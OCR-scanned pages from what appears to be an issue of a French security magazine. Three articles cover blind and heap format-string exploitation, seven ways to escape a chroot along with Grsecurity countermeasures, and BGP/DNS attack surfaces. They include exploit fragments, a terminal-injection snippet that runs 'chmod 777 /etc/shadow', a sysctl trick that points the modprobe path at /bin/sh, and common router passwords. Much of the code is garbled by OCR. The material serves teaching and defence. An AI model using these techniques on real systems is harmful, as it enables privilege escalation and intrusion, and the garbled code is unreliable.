"Eokntstntshndsindntntndntninbsinkndsinbsinknbsininds’ _ ]
. i i raturn (L(TZ_ALIVECT D))
#define VALID FORMAT ,99904210" |
fdefine DIFF(a, b) (@>pb?a-0:tb-4)
) . . int main (int ac, char ** av)
int distance, align; [
: P Ly Iiad]
unsigned int fmt_time (char * vuln, char * fmtbuf) , Rl s b s
i suce time = fmt_time (ay[1], VALID FORMAT);
1 s . il
fail_time = fmt_time (av[1], INVALID_FORMAT);
char * args{31 = { vuln, fotbuf, NULL }; [q : it C )
int status = 0, _ ; et
= i for (distance = MIN_DISTANCE ; distance < MAX DISTANCE; distance++)
pid_t pid; : ) .
J for (align = @; align < 4; alignt+)
struct timeval ty_start, tv_end; .a L : A d_ il : .
. - if (lrange_crashed (av[1], ADORESS.VALID, ADORESS_VALID +4))
unsigned int ret; [
Al if {range_crashed(av[1], ADDRESS_INVALID,
gettimeofday (&tv_start, NULL); ADDRESS INVALID + 4)) g e i
i (Hpid = fork (O)) do_exploitationav[1]);
{' alse
execvelvuln, args, environ); Noeak:
exit (@); |
I
} [owil
else }
wait (&status);
gettimeofday (&tv_end, RULL); . .
= (DIFFtby end.ty sec. +v. start ty sec) * 10d60) + Comme vu précédemment, on commence donc par enregistrer
T = VELTRARY SR ILRC, w9 SURTHRY_SEL: J le temps d'une exécution du programme sans plantage, puis une
DIFF(tv_end.tv_usec, tv_start.tv_usecl; avee plantage.
PR A0e L'écart est tel qu'on est desormais capable de savoir si le
1 programme plante ou non.C'est ce que fait la macro suivante :
#iefine A_PAS_PLANTER(a) {(DIFF(a, suec_time) < DIFF(a, fail_timel) 71 :0)
int range_crashed(char * vuln, unsigned int addr, unsigned int addrZ)
{ oot cHea On verifie simplement de quelle valeur le temps est le plus proche
char fmt[FMT_SIZE], tmp[128]; e i . : 5
pouredeterminer si le programme a ou non planté. On va ensuite

int hdo 1§ tester toutes les valeurs possibles pour la combinaison de
distance/alignement jusqu'a trouver la bonne.

if (addr >= addrZ)

I MisC ¢




Exploitations avancées de bogues de format

Pour fimir, on va utiliser une dichotomie (le code n'est pas present
ic1) pour trouver la limite sur la pile des adresses utilisées. C'est-
a-dire a partir de quelle adresse exactement on ne fait plus planter
le programme.

En ajustant avec encore quelques tentatives, on va artiver a trouver
l'adresse exacte d'un [saved_eip]. On le redirige vers le shellcode
qu'on a écrit de toute piece vers une adresse de notre choix, et
celui-ci se retrouve execute.

LES BOGUES DE FORMATS
SUR LE TAS

Jusque-la, on a vu comment exploiter un programme en accédant
a la pile. 1l arrive qu'il soit impossible de contréler quoique ce
soit sur la pile. ce qui constitue une deuxiéme grosse difficulté
dans l'exploitation. Dans ces cas-1a, on n"a pas le choix, il faut
utiliser les adresses déja présentes sur la pile.

RAPPEL SUR LA PILE

La pile est constituce de l'espace réservé a chaque fonction (appelé
stack frame), ainsi que de quelques données situées a son début,
comme l'environnement ou les arguments. La stack frame d'une
fonction est créée dés le moment ou celle-ci est appelée par
I'mstruction call. Le processeur met alors sur la pile la sauvegarde
du registre %eip, de manicre & ce que la fonction appelée puisse
retourner avec les instructions Teave:ret lors de son épilogue.

Chaque fonction a un code proche de celui ¢i

fonction:
push %ebp # on pl
mov %esp, %ebp ¥ sauvegarde du registre ¥esp dans Rebp
#on alloue de 1a place pour les
# yariables locales

1

push $argument & on place 1'argument de Ta fonction sous-
# fonction sur 1a pile

ace ebp sur la pile

subl $local_var sz, %esp

call sous-fonction & on appel 1a fonction sous-fonctien

addl §4, %esp Bon retire e parametre de 13 pile
..... i

gave

ret # la fonciion se termine...

La premicre chose que fait une fonction est de sauvegarder le
registre %ebp [saved_ebp] sur la pile, puis déplace le registre
sesp dans le registre %ebp, avec les deux premicres lignes (le
push et le mov),

['instruction Teave est exécutée 4 la sortie de la fonction, et fait
exactement l'inverse, a savoir :

mov k2bp, Fesp

pop %ebp

Comme le registre %esp est sauvegardé dans %ebp, juste aprés
que le registre %ebp soit sauvegardé sur la pile, %esp pointe donc
sur la sauvegarde du registre 5ebp au moment o on le place dans
kebp. C'est pourquoi les sauvegardes des registres %ebp sur la
pile se pointent entre elles.

On doit utiliser la directive "%n" avec une adresse se trouvant sur
la pile. Si on veut une méthode un tant soit peu générique, il ne
faut deja pas compter sur les variables locales. Elles sont trop
dependantes du programme exploité. On peut également éliminer
les arguments et I'environnement, qu'on ne contréle pas lors de
bogues a distance. Pour ce qui concerne les sauvegardes de %eip
[saved_eip]. ils pointent tous vers des segments exécutables ;
une ccriture a ces adresses planterait donc le programme. Le
choix est vite fait, 1l ne reste plus que les [saved ebp] qui sont
utilisables sur la pile.

Puisqu'ils se pointent entre eux, si on écrit a l'adresse d'un
[saved_ebp], on en corrompt un autre. Klog a déja démontré
[KLOG] qu'on peut prendre le contrdle du flux d'exécution a
partir d'une corruption d'un [saved_ebp]. En bref, lors du retour
de la fonction (la séquence leave;ret), le [saved ebp] se retrouve
dans le registre %ebp. Lors de la prochaine sortie de fonction, il
sera deplacé dans %esp, nous offrant ainsi le controle de la pile.
sur laquelle un [saved_eip] est récupéré. On fait pointer ce
[saved_eip] sur notre shellcode et le tour est joué.

CAS PRATIQUE

On va maintenant tenter d'exploiter un programme avec
un bogue de format situé sur le tas et en aveugle !

f* wln.c */
#include <stdio.h>
#include <string.h>

gxtern char ** enyiron;
char  buf[1624];
void  wvuln(char * str)
{
snprintfbuf, 1624, str);
void  truc(char * str)
{
vulnistr);
int main(int ac, char **ay)
char * buf;
int is=a]is >
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if (ac 1=2)

return (0);
buf = strduptav[l]);
for (i =8; 1< ac; i+
for (j = 8; av[i1[j); av[il[j++] = 8);
for (i =8; environ[i]; i+
for (j = 8; environ[110j]; environ[i][j+] = @);
tructbuf);
return (0);

Le premier argument de ce programme est utilisé comme
une chaine de format, ce qui provoque le bogue.
L'environnement et les arguments passeés au programme
sont effaceés. On ne contréle donc rien de ce qui se trouve
sur la pile. A cause du snprintf(), le bogue de format
se fera en aveugle. Notre chaine de format n'est pas
située sur la pile, car strdup() appelle malloc(), qui
alloue sur le tas ou via un appel a mmap( ), selon la taille
de l'allocation.

11 faut alors faire avec ce qui se trouve sur la pile, a
savoir les stack frames des fonctions main(), truc() et
vuln(), qui contiennent les paires saved[ebp/eip]. ainsi
que les variables locales, c'est-a-dire les variables 1, ]
et buf pour la fonction main().

Comment résoudre nos probléemes ? Nous détournons
le [saved ebp] de la fonction truc(), pour le faire
pointer dans la stack frame de main( ), plus précisément
Juste avant la variable buf. Comme la variable buf est
un pointeur sur des données qu'on contrdle, on peut y
placer le shellcode.

Lorsque la fonction truc( ) se finit, le [saved ebp] dont
un octet est corrompu, se retrouve dans le registre Gebp.
Et lors du retour de main(), on va étre en mesure de
controler le [saved e1p] qui sera utilisé par I'mstruction
ret. Clest ainsi que le pointeur buf se trouvant sur la
pile. va se retrouver dans %eip, et notre shellcode
executé. En résumé, on doit ré-écrire 8 bits du
[saved ebp] de la fonction vuln(). ce qui décale son
adresse d'au plus 277 (255) octets, ce qui suffit puisque
le shellcode se trouve a proximité.

L'idée sous-jacente est que si un byffer n'est pas sur la
pile, son adresse doit étre sauvegardée quelque part si
on veut pouvoir y accéder. Sachant que la pile stocke la
majorité des pointeurs, on utilise la méthode courante
du %.Yx pour afficher sur Y octets, suivi de %Y$hhn pour
ré-éerire un octet du saved ebp de vuln() se trouvant a
la position Y. On est obligés de tester plusieurs valeurs
pour trouver le bon Y, car la position n'est pas constante
selon la version du compilateur utilisé. Encore une fois,
le code de I'exploit n'est pas complet.

Vous trouverez toutes les sources de l'article sur .
http://mapage.noos.fr/hrchallenge/fmt-misc.tgz

#include <stdio.n>

int pid;

char * puildbuf(int value, int distance)
{

static char buf[1024);

snorintfibuf, LE24, "%ski.kdxbhbd$hhn\n", shellcode, i, j)i
raturn (buf);

void  exploitlchar * vuln)

1
chiar  tab[4] = "-\\|/";
char  * fmt;
int vilue, distance;

signal(SIGPIPE, SIG_TGN);
for (distance = 4: distance != 10; distancett)
for (value = 7; value <= 256 valuett)
{
printf("\rkc exploitation en cours...”,
tab[value & 41);
flush(stdoutl;

doitlvuln, value, distance);

int main(int ac, char *~ay)

Linad
exploit(av[L]);
[t

}

Comme dans l'exploit précédent, on commence par tester
différentes valeurs pour déterminer la bonne position.
Cette fois, par contre, on n’aura pas besoin de tester
differents alignements, vu que ce n'est pas nous qui
placons la valeur que 'on va utiliser (on recherche ici
un [saved_ebpl). Puis on teste toutes les valeurs

PROGRANMNMATION




Exploitations avancées de bogues de format

possibles pour la corruption d'un octet du [saved ebp]
Jusqu'a obtenir un shell. Je vous laisse analyser la
fonction "buildbuf" pour comprendre exactement la
chaine de format utilisé pour corrompre un seul octet.

Quelques pistes

Les deux grosses difficultés dans l'exploitation des BF sont les
BF en aveugle, et ceux pour lesquels on ne contréle rien sur la
pile. On vient de voir a travers deux cas concrets comment
exploiter de tels bogues. Dans 99% des cas, une méthode
similaire a celles présentées ic1 fonctionne, et dans le 1% restant,
il y a de fortes chances qu'une astuce résolve le probléme.

Voici quelques pistes que j'ai trouvées pour parer 2 ces
éventuels 1% génants :

B les chaines de format ont une fonctionnalité souvent peu
connue, il s'agit de I'utilisation de *'. Par exemple la chaine
de format "%.*n" écrit a l'adresse située sur la pile en seconde
position, ce qui est tres utile pour déplacer des adresses en
mémoire,

B en quittant une fonction, les données qui composent sa
stack frame restent sur la pile jusqu'a ce que les données d'une
autre stack frame les écrasent. Dans bien des cas, on peut
détourner un [saved_ebp] pour le faire pointer sur une de ces
stack frame résidente. Comme la stack frame résidente
provient d'une fonction exécutée auparavant, son [saved eip]
pointe sur une partie du code qui a déja été exécutée. On peut
I'utiliser pour revenir en arriére dans le programme et
reproduire encore et encore le bogue, ce qui facilite
I'exploitation. En combinant la méthode d'écrasement partiel
des donnces, on peut produire des exploits avec un bon taux
de réussite.

-) Les bogues de format constituent vraiment une classe a

part parmi toutes les failles présentes dans les programmes.
D'une part, dans la plupart des cas, il est possible de les
exploiter automatiquement (ou presque). D'autre part, les
méthodes d'exploitation sont trés variées car un tel bogue
donne un contréle pratiquement complet sur le flux
d'execution du programme. C'est ce qui fait qu'il est si
interessant de voir dans le détail leurs exploitations. Comme
on I'a vu. on peut le plus souvent trouver une astuce et faire
exccuter du code arbitraire. Heureusement qu'ils sont si
simples a eviter dans les programmes !

Nicolas Brito (sauron(@miscmag.com)
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chroot (),

sécuritée illusoire
ou illusion de securite ?

7 fagcons de briser la prison de verre

L'appel systeme chroot () (abréviation pour change root directory), est devenu
particuliérement populaire derniérement, entre autres grice a l'équipe d'OpenBSD
[3]. De nombreux articles ont vanté les mérites de la restriction d'un processus dans
un chroot. L'idée est de prendre un processus et de l'enfermer dans un chroot pour le confiner
a l'intérieur d'un répertoire donné dans le systéeme de fichiers. L'objectif est de protéger,
prétendument, le reste du systéme contre une compromission complete si le processus a

l'intérieur du chroot est pris pour cible.

L'objectif de cet article est de demystifier certaines croyances,
en montrant plusieurs attaques contre cet appel systéme, et la
maniére de les contrer, comme cela est réalisé dans Grsecurity
[1] (voir [2] pour une documentation complete mais Grsecurity
propose entre autre des ACLs, de nombreux durcissements, des
protections renforcées des zones meémoires, ete., ). Il est en effet
essentiel de comprendre que des "fonctionnalités", comme
chroot, ne font pas tout en sécurité, mais que la maniere dont
elles sont réalisées et configurées est au moins aussi essentielle.

Quand on discute des inconvénients de chroot (), la plupart des
gens mettent en avant un article [4] écrit il y a plus d'un an qui
décrit une attaque simple. mais qui ne fonctionne plus avec les
versions récentes de Linux ou FreeBSD. Certaines personnes
sont conscientes que si un attaquant parvient a devenir roof dans
un chroot, il 'y a plus rien qui I'empéche alors de s'attaquer au
reste du systéme. Certes, cela est tout a fait exact, mais ces
mémes personnes sonf en général inconscientes des moyens a
metire en ceuvre.

Dans la suite de cet article, je décris en détail plusieurs attaques
qui permettent de s'évader d'un chroot et de compromettre le
systeme hote. Certaines de ces attaques ne nécessitent pas d'étre
root, ce que beaucoup de personnes pensent, a tort, étre
impossible.

1 EVASION D'UN CHROOT

MISC @

VIA MOUNT

L'appel systéme mount (), réserve a l'utilisateur root, est utilis¢
pour monter un systeme de fichiers & un endroit précis. 1l prend
en argument le chemin vers le device, ¢t le chemin vers l'endroit
ot monter le device. Evidemment, si un attaquant est autorisé a
créer des devices appartenant aux disques durs présents sur le
systéme, 11 peut sortir du chroot en montant des files systems et
en y ajoutant des shells root par exemple.

11 existe de nombreuses options a considérer lors de la mise en

place d'un chroot (voir les pages man mount etman 2 mount)
dont les 3 plus ntéressantes sont :

B MS_NOSUID : ignore les bits SUID et SGID ;
W MS_NODEY : empéche la création de devices
B M5_NOEXEC : interdiction d'exécuter des programmes.

Toutefois, il reste quand méme des choses a faire. En fait, pour
monter certains systemes de fichiers, il n'est pas nécessaire d'avoir
un device. Les plus connus de ces systemes de fichiers sont
devpts et procfs. La possibilité de monter procfs constitue une




fuite d'information a propos du systeme et des processus
s'exécutant en dehors du chroot.

Certains pensaient qu'il était possible de sortir du chroot si procfs
¢tait monté, simplement en changeant la racine pour
/proc/1/root. Cependant, cela n'est plus le cas, au moins sur les
noyaux Linux récents. [l reste toutefois une autre fonctionnalité
offerte par procfs qui permet également de sortir du chroot qui
sera présentée ci-apres (cf “Evasion via sysctl”).

Monter devpts donne a l'attaquant un acces a toutes les pseudo-
consoles ouvertes sur le systéme (par exemple, celles de ssh).
L'attaquant peut alors mjecter des caracteres via foct1() dans
les terminaux, en particulier ceux des administrateurs.
Considérons le code suivant :

int fd:

char *buf = "chmod 777 /etc/shadow\n";

char *p;

fd = open("/dev/pts/8", O_ROWR);

return |

for (p = buf; *py p++)

ioctl(fd, TIOCSTI, p);

Sur une installation par défaut de Linux, cela exécute chmod 777
/fetc/shadow dans le terminal d'un administrateur. Grsecurity
arréte les attaques de ce type en interdisant tout montage au sein

d'un chroot.
2 EVASION D'UN CHROOT
VIA PTRACE

ptrace() a attiré l'attention derniérement, en particulier depuis
que certaines race conditions ont permis une Compromission root
locale. Cet appel systeme permet d'observer et/ou de modifier le
flux d'exécution d'un autre processus. En tant que root dans un
chroot, un attaquant peut modifier le flux d'exéeution de n'importe
quel processus du systéme (sauf init, le premier processus).

En tant que non root dans un chroot, l'attaquant peut modifier un
processus possédant le méme UID. L'attaquant utilise une requéte
PTRACE_ATTACH pour s'accrocher au processus cible, puis
emploie PTRACE_POKEUSR, PTRACE_SETREGS, et PTRACE POKETEXT
pour modifier ce qu'il veut dans I'espace d'adressage du processus
(et méme les zones en lecture seule).

A cause d'une faible protection des pages sur la plupart des
UNIXes, si I'attaquant veut compromettre un processus, il trouvera
tres probablement une partie de l'espace mémoire qui soit
accessible a la fois en €criture et en exécution, méme si la pile

n'est pas exécutable. L'attaquant peut alors modifier cette région
et rediriger I'excéeution vers le code malicieux qu'il aura introduit
(n'importe quel shellcode par exemple) afin de sortir du chroot.
L'exploitation est trés simple, d'autant qu'aucune force brute n'est
nécessaire puisque 'attaquant a une vue compléte de la mémoire
du processus cible.

11 est clair que les attaques a base de ptrace( ) sont trés puissantes
et offrent une grande diversité de solution a un attaquant.
Grsecurity interdit ces attaques en empéchant 'utilisation de
ptrace() sile processus appelant tourne dans un chroot. De plus,
comme Grsecurity garantit également qu'aucun segment ne soit
accessible a la fois en éeriture et en exécution, cela rend les
exploitations a base de ptrace() bien plus complexe.

3 EVASION D'UN CHROOT
~|VIA FCHDIR

Sortir d'un chroot avec fchdir() dépend fortement de
I'application, au contraire des autres attaques, mais je ne connais
aucun autre OS qui bloque cette attaque, en dehors de Grsecurity.
Cet appel systéme permet de changer de répertoire courant pour
un file deseripror ouvert référengant un autre répertoire.

Une exploitation est possible si le processus change de répertoire
racine tout en conservant un file descriptor ouvert vers un
repertoire situé en dehors du chroot (et donc sur le systéme de
fichiers principal). L'attaquant peut exploiter une faille dans le
chroot et changer de répertoire pour cet autre répertoire, ou bien
utiliser cela en combinaison avec l'attaque ptrace déerite ci-
dessus,

Grsecurity empéche cela en descendant dans 'arborescence du
systeme de fichiers, en partant du répertoire vers lequel le
processus "chrooté" tente le fchdir (). Si l'algorithme termine
dans le systeme de fichiers “chrooté”, 'opération est autorisée,
dans le cas contraire, elle est rejetée.

A EVASION D'UN CHROOT
VIA CHMOD

Cette attaque nécessite une condition trés particuliére, mais, avec
cette réserve, donne un acces root sur le systeme. Les appels
systeme chmod() et fchmod() sont utilisés pour modifier les
permissions sur un fichier. L'intérét réside ici dans les droits
5_ISUTD et 5_ISGID. Supposons qu'un attaquant devienne root
dans le chroot (et que cela ne suffise plus pour sortir du chroot),
1l peut télécharger une application quelconque, et activer le bit
SUID ou SGID. Maintenant, il est possible a un attaquant (le
méme ou un autre) situé en dehors du chroot, mais sans étre root,
de passer root grace a l'application SUID/SGID.

En guise de protection, Grsecurity interdit 'ajout du bit SUID
ou SGID lorsque le processus est dans un chroot.
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‘ EVASION D'UN CHROOT
1:—|VIA SYSCIL

Une attaque dont je n'ai entendu parler nulle part se focalise sur
la fonction sysct1() pour sortir du chroot. C'est une des plus
élégante a exécuter et ne demande aucune des capabilities (voir
/usr/src/1inux/include/capability.h) particulieres pour
réussir. Cet appel systéme renseigne sur I'état du noyau, et, pour
un processus avec les privileges adéquats, permet de le modifier.
Ces parametres sont accessibles soit via le fichier de configuration
Jete/sysctl.conf, soit au travers de procfs, soit directement
par l'appel systeme sysct1(), et stockés sous forme d'une base
type MIB (Management Information Base).

De la. un attaquant dispose de plusieurs choix, selon ce qui est

compilé dans le noyau. Par exemple, la plupart des noyaux

supportent les modules, et done CONFIG_KMOD, qui autorise le

chargement automatique d'un module noyau par un chargeur situe

en espace utilisateur. Le chargeur habituel est /sbin/modprobe.

Toutefois, il est possible d'en contréler I'emplacement par une

entrée dans la base avec sysct1(). Le programme suivant illustre

cela :

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <1inux/unistd.h>

#include <linux/sysctl.h>

#include <sys/socket.r>

sysealllidnt, _sysctl, struct _sysctl_args *, args);

int sysct1(int *name, int nlen, void *oldval, size_t *oldlenp,
void *rewval, size_t newlen)

struct _sysct]_args args={name,nlen,oldval oldlenp,newval ,newlen};

return _sysctl(kargs):

#dafine SIZE(x) sizeof{x)/sizeof(x[0])
#define MODPROBEPATHLEN 258

char modprobepath[MODPROBEPATHLEN];
int pathlen;
int name[] = { CTL_KERN, XERN_MODFROBE };
int main(veid){
sv‘cpy:madprobepath. "fbin/sh');
thlen = SIZE(modprobepath);
if (sysctliname, SLIE
perror(“sysctl");

(name), @, NULL, modprobepath, pathlen})

glse {

MIsC 9

printf(“successfully modified the modprobe path.\n");
socket(AF_SECURLTY, SOCK_STREAM, 1

printf('executing shell with full privileges, outside”®
“of chrootin");

}

return @;

Cette attaque fonctionne car le noyau peut executer des
programmes dans un contexte utilisateur. Quand le noyau force
I'exécution d'un binaire, celui-ci est exdéeuté avec le vrai systeme
de fichiers racine en tant que racine du nouveau processus.

Pour stopper cela, Grsecurity empéche les ecritures via sysct1(),
mais aussi via le procfs.

6 [|EVASION D'UN CHROOT
VIA LA MEMOIRE
PARTAGEE

Une autre attaque intéressante pour sortir d'un chroot s'appuie
sur l'utilisation de mémoire partagée. L'attaque en elle-méme
dépend des processus employant de la mémoire partagee en
dehors du chroot. Si de tels processus existent, il est alors tres
probable que 'attaque réussisse, indépendamment de ce que la
mémoire partagée de ces processus soit declaree privee ou non
au moment de sa création.

Pour s'attacher a de la mémoire partagée, 'attaquant doit
commencer par trouver sa cible. S'attacher 4 de la mémoire
partagée non privee est facile : il suffit de connaitre (ou de
"bruteforcer") la clé de la mémoire virtuelle. Si la mémoire
virtuelle est déclarée privée, un test supplémentaire impose que
I'UID effectif de l'attaquant soit égal a I'UID du processus ou du
créateur de la mémoire partagee.

L'utilisateur root peut outrepasser ce test s'il dispose de la
capability CAP_IPC_OWNER, méme s'il existe d'autres solutions
pour root sans cette capability. S'il dispose de CAP_SYS_ADMIN, il
peut alors modifier les credentials de la mémoire partagce pour
qu'ils soient identiques aux siens, et ainsi s'attacher au processus.
Si l'attaquant dispose de CAP_SETUID, il peut modifier son UID
pour la faire correspondre a celle de la meémoire partagée.

Finalement, si le processus compromis dans le chroot possede
un UID effectif égal a celui de la cible utilisant de la mémoire
partagée, l'attaquant peut sortir du chroot sans avoir besoin des
droits de root. Faire tourner des démons sous l'identité nobody
est assez classique sur nos systémes, et cette attaque devient alors
particuliérement intéressante. Aprés avoir obtenu les credentials
sur la mémoire partagée, l'attaquant peut récupérer l'identification
de la mémoire avec la fonction shmget (), puis s'attacher a cette
mémaoire avec shmat (). L'attaquant peut alors profiter de cet acces
pour modifier des entiers, des chaines de caracteres... pour
exploiter le processus




chroot(), sécurité illusoire ou illusion de sécurité ?

Le programme suivant permet de déterminer si votre systéme est
vulnérable ou non, que ce soit un Linux, un FreeBSD, un NetBSD,

un OpenBSD ou un Solaris :
#include <stdio.h>

finclude <sysfipe.h>

#include <sys/types.n»

ginclude <sys/shm,h>

int main(veid)
{
pid_t pid;
int ipckey, ret;

printf("Testing denied shared memory attach out of chroot,.. : ")

fflush{stdout);

ipckey = shmget(®, 18, TPC_CREAT | IPC_EXCL | @708):

it (ipckey < @) {
printf("Unable to create shared memory.\n"):

return 1;
}
pid = fork();
it (pid =18) {

yoid *shm = NULL;
struct shmid ds buf;

ret = chroot("/tmp");

if (ret) {
printf("Unable to chroot.\n"};
return 1;

shm = shmat(ipckey, HULL, 8);

1t (shm = (void *)-1)
printf("PASSEDR");
else |
shmdt(shm):
printf("FALLEDNR" )+

shmct1(ipckey, IPC_RMID, &buf);
} else if (pid > @) {
int status;

wait{hstatus);

} else i (pid <) {
printf{"Fork failed.\n");
return 1;

return @:

L)

Grsecurity enregistre I'id du processus du créateur et du dernier
"attaché" a la mémoire partagée. Quand un attaquant tente de
s'attacher a son tour & la mémoire partagée en dehors du chroot.
Grsecurity vérifie si le processus qui a créé cette mémoire virtuelle
existe encore (s1 ce n'est pas le cas, c'est le processus qui s'est
attaché en dernier a la mémoire partagée qui est utilisé). et
compare la racine de ce processus avec celle du processus qui
tente de s'attacher (celui d'un potentiel attaquant) : si les racines
different, l'opération est refusce.

DEVASION D'UN CHROOT
VIA LES SOCKETS
ABSTRAITES UNIX

Le dernier exploit qui ne demande pas nécessairement de
privileges root dont nous traiterons ici emploie les sockers PF_INIX
abstraites, qui existent non pas relativement au systéeme de fichiers.
mais par rapport a leur propre abstraction. Cette fonctionnalité
n'existe pas sur les BSDs et I'exemple suivant ne s'applique donc
qu'a Linux. Pour référencer un élément abstrait, le premier
caractére de ce qui est normalement le chemin doit étre le caractére
nul \@, suivi du nom du fichier, pas nécessairement terminé par
un caractere nul \@.

Une des fonctionnalités des sockets PF_UNTX sous Linux est de
permettre le passage de credentials (cf man unix et cmsg), c'est-
a-dire un PID, un UID et un GID, entre le client et le serveur,
L'utilisateur root peut mettre n'importe quelles valeurs. Ces valeurs
sont utilisables par le serveur, par exemple, pour autoriser ou non
des transferts via la socket.

Le code suivant montre comment créer une socket PF_UNIX
abstraite :

int fd, ret;
struct sockaddr_un addr;

addr.sun_path[@] = '\@';
snprintfladdr.sun_path + 1, sizeofiaddr.sun_path) - 2, "plon”);
addr. sun_family = AF_UNLX;
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fd = socket(AF_UNIX, SOCK_STREAM, B);

if(fd>=0)
ret = bind(fd, (struct sockaddr *)&addr, sizeof(addr));

Comme chroot ne se préoccupe que de la racine du systeme de
fichiers, il n‘agit donc pas dans le domaine abstrait. La connexion
4 une socket abstraite se fait sur le méme modele que l'exemple

Les différentes méthodes déerites ici pour
s'échapper d'un chroot ne sont pas les seules,
sans parler des moyens d'alfecter le systéme en
dehors du chroot depuis I'imiérieur de celui-ci
(tuer des processus. épuiser des ressources ...).
I'espére que cet article vous aura convainecu de
la nécessité de faire tourner des processus dans
des chroot en tant que processus non root, UID

SYSTEIlYIE

ci-dessous, en remplagant le bind() par un appel a connect(). ) dédié au processus, puisque des que d'autres
processus existent sur le systeme, ils aident

Un attaquant est capable d'injecter des données dans la socket, S S
) indéniablement un attaquant a s'échapper.

et donc au serveur en dehors du chroot, ce qui peut conduire a

une compromission du serveur. Bien évidemment. cette attaque Grsecurity, patch de sécurité pour le noyau

dépend du serveur et de ce qu'il fait des données et credentials. y Linux. propose un ensemble de tests [5]
- : : ; ; " illustra ies décrites icl. ainsi
Grsecurity empéche cette attague en interdisant des connexions : 1l1r i ios ?t}ca;[: . .d lLlals oh';hg“”:_
. : g 25 résultats e
a des sockets PF_UNIX abstraites en dehors du chroot lorsque le ) gF‘“Eém‘i?;;‘P Eluf[le‘]rh e {LO BSD ;re B;LII')
processus a qui appartient la socket se trouve en dehors du chroot. b :
el Solaris) |6].
}  Toutes les attaques contre chroot présentées ici,
et quelques autres encore, pas uniquement a
y I'encontre de chroot, echouent lorsqu'clles sont
i tentées sur un Linux patché avec Grsecurity.
REFERENCES ) Pour conclure, il est possible de mettre en place
des moyens pour se protéger de classes entieres
de vulnérabilités. Les solutions doivent étre
[1] http:/fwww.grsecurity.net % ouvertes afin gue tout un chacun puisse les
[2] http:/fwww.grsecurity.net/papers.php vérifier et contréler. De plus, de telles solutions
I3] Wttp:/fwww.openbsd.org 9 doivent également &tre simples afin que méme
[4] http:/fwww.bpth.net/simes/computing/chroot-break.html ’ des administrateurs inexpérimentes puissent les
|5] http://cvsweb.grsecurity.net/index.cgi/regression ! deployer.
|6] hitp://www.grsecurity.net/compare.php )
7] http://www.freebsd.org . .
7} Rty i ; _ Brad Spengler - spender(@ grsecurity.net
18] http://www.sun.com/solaris i b
Test grsecurity 1.9.9 | OpenBSD 3.2 | FreeBSD 4.6 | Solaris 8
Protection de chdir / dans chroot ok N/A échec ¢chee
Blocage de (fichmod +s dans un chroot ok ¢chec cchee échec
Blocage du double chrow ok échec échee tchec
Blocage de fchdir en dehors d'un chroot ok échec échec échec
Blocage de k111 en dehors d'un chroot ok échec cchec échec
Blocage de mknod dans un chroot ok échec échec échee
Blocage de nice pour augmenter les priorités dans un chroot ok cchec échec échec
Blocage de setpriority pour augmenter les priorités dans un chroot | ok échec échec échec
Blocage de ptrace dans un chroot ok N/A cchec N/A
Blocage des accés i la mémoire partagée hors d'un chroot ok échee cchee échec
Blocage des connexions 4 une socket AF_UNIX hors d'un chroot ok N/A N/A N/A
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Sécurité

,RGS*

de l'infrastructure BGP/DNS,
reconnaissance distribuée
et SQL Slammer

L'Internet est-il toujours et encore une commodité ou avons-nous,
depuis longtemps peut-étre, dépasse ce stade pour en atteindre un
autre, comme celui d infrastructure critique ? Il y a fort longtemps,
quelques visionnaires prédisaient déja que I'information vaudrait
plus que le pétrole et que I'Internet serait le maillage d’oléoducs qui
la transporterait. 1l n’y a jamais eu autant de canulars. de
désinformation. d’informations non vérifiées et non vérifiables, de
légendes urbaines et autres “abus”, propagés a la vitesse de la lumiere,
depuis que I'usage de I'Internet $’est démocratisé. A un tel point
qu’un nouveau modele marketing est né ces derniéres annces et ces
soi-disant “informations” sont utilisées pour promouvoir produits et
services de sécurité, le tout en titillant des décideurs qui deviennent
de plus en plus méfiants vis-a-vis de 1'Internet, source apparemment
de tous les maux mais dont plus personne ne peut ou veul se¢ passer.
Comment déclencher une telle vague d’annonces ? Tout simplement,
par exemple, en envoyant un nombre conséquent de paquets avec
une caractéristique bien particuliére, comme des segments TCP avec
une fenétre de taille 55808 ou en mettant en ligne un site dans un
anglais approximatif avec un challenge du style “votre mission :
dégrader 6000 sites Web en moins de 6h pour gagner un hébergement
Web de 50Mo pour un an™...

Dans cet article, outre cette petite ¢tude de cas sur la reconnaissance
distribuée, nous traiterons des deux éléments d’infrastructure sur
lesquels repose I'Internet. En effet, le protocole BGP [1]. ou encore
le systéme DNS, sont des éléments intéressants a attaquer, soil pour
créer un déni de service, soit pour détourner du trafic. Ces protocoles
et les dénis de services réseaux [3] ont déja été étudics dans des
numéros précédents, mais la présentation de N. Dubee lors de
SSTIC 03 [4]. les questions, parfois insistantes (les personnes se
reconnaitront ;-), comme celles sur 'utilisation de 1'Internet comme
une arme de dissuasion, en font un bon sujet d’actualité.

Et finalement, pourguel, contrairement a ce qui est ecrit en premiere
page du numéro précédent ; SQL Slammer n’a pas paralyse tout
I"Internet ?

MisC ¢

BGP ET ATTAQUES

L’attaque la plus effective contre le routage BGP dans
I"Internet reste la mauvaise configuration par un operateur,
ou un de ses clients, si I'opérateur est laxiste au niveau
de son filtrage, d’un routeur qui participe aux échanges
BGP (BGP speaking router). Un nombre important de
méthodes et des réponses opérationnelles déployees au
fil des années et des découvertes permettent de hmiter la
portée de ces erreurs de manipulation. Par exemple: filtrage
du chemin grice a des expressions régulieres (4S_path

filtering), filtrage du nombre de préfixes autorises

(maximum-prefix filtering). filtrage des préfixes autorises
(prefix list filtering), filtrage des préfixes réseaux dits
“bogons” ou “martian’’[28] et ceci de mani¢re manuelle
ou automatique (filtres du type RPSL). 11 est clair que
certaines formes de filtrage ou de protection ressemblent
plus & une rustine ou a un sparadrap qu’a une correction
d’un probléeme intrinseque au protocole et que ces filtres
doivent s appliquer aux extrémités (edge) et non au ceeur
(core ou backbone) du réseau.

Un routeur qui “parle” BGP est devenu un objet a valeur
forte dans les transactions pour certaines communautés.
En effet. on troque aussi bien un routeur qu’un numero
de carte de crédit valide [29], qu’'un compte de vendeur
bien noté chez eBay, ou encore un réscau d’agents de
dénis de service, Le phénomene est bien réel.

Beaucoup de monde semble croire que ces routeurs sont
volés via une faille dans BGP. Que nenni, la grande
majorité d’entre eux ne sont pas sccurises du tout (filtres
du type VTY ACL [19]) et I'entropic au niveau des mots
de passe est plus que faible : ¢, e. cisco. ¢lsc0, enable,
test, bgp. etc.




SECURITE DU PROCESSUS
ET DE LA SESSION BGP

La session BGP s effectue entre deux routeurs via TCP. Ces deux
